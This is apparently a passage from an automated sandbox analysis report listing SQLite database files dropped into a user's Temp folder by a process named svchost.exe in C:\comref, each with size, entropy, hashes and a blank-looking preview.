                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\uzV0p8p3tJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\v77b6nZNRi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vAgN0dNWXr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vEk4QnD0mI

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vOj5fxNchp

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vTGvN2o5Tv

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vWIVUsB9JS

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vYEbIhxqEU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vgriuBYBgi

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vlEO4MnMVr

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\vpTgG1bMEY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wBKPGu16Sh

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:modified
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wCXFQhKzrj

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):49152
                                                                      Entropy (8bit):0.8180424350137764
                                                                      Encrypted:false
                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wJvaZLGFHV

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wMtbpXHCis

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wSLhBykFBd

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wSydYuohLM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\whwWGaGdL7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wj69h94ztE

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\wzQdM67vQR

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\xLa6qXbkBz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\xV1cLmzpNU

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\xltziQbOBN

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):98304
                                                                      Entropy (8bit):0.08235737944063153
                                                                      Encrypted:false
                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\y3L2Xfyo7o

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\y3RxOIqMwa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
